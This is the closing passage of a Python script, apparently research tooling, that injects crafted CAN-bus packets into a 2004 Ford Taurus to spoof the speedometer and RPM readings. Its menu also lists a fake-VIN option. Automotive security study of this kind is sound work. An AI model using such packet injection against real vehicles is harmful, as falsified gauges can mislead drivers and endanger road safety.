877             print "speedometerVal = %f " %val;
878             print "speed = %f" %(1.617*val-63.5)
879             
880             if (val > 255):
881                 val = 255
882             elif (val < 0):
883                 val = 0
884             
885             newPacket[9] = int(val)
886             
887             # load new packet into TXB0 and check time
888             self.multiPacketSpit(packet0=newPacket, packet0rts=True)
889             starttime = time.time()
890             
891             # spit new value for 1 second
892             while (time.time()-starttime < .05):
893                 self.multiPacketSpit(packet0rts=True)
894
895 #for foo in byte:
896 #  print "%d" %ord(foo)
897
898 #39.27
899 #113
900
901
902
903
904
905 # read in 26 frames
906 # average them
907 # normalize to our range of values (conversion 1.6167*x-63.5
908 # x --> 0 to 120
909
910 #sample width = 2??
911 #number of frames: 7133184 
912 #number of channels: 2 
913 #sample width: 2 --> 2 bytes per sample
914 #framerate: 44100 
915
916
917
918     
919         
920 if __name__ == "__main__":
921     
922     parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter,description='''\
923
924     Run Hacks on a Ford taurus 2004:
925         
926             speedometerHack
927             fakeVIN
928             rpmHack
929         ''')
930     parser.add_argument('verb', choices=['speedometerHack', 'rpmHack', 'thefifth']);
931     parser.add_argument('-v', '--variable', type=int, action='append', help='Input values to the method of choice', default=None);
932
933
934     args = parser.parse_args();
935     inputs = args.variable
936     fe = FordExperiments("../../contrib/ThayerData/");
937     
938     if( args.verb == 'speedometerHack'):
939         fe.speedometerHack(inputs=inputs)
940     if( args.verb == 'rpmHack'):
941         fe.rpmHack(inputs=inputs)
942     elif( args.verb == 'fakeVIN'):
943         fe.fakeVIN()
944     elif( args.verb == 'thefifth'):
945         fe.imbeethovenbitch()
946         
947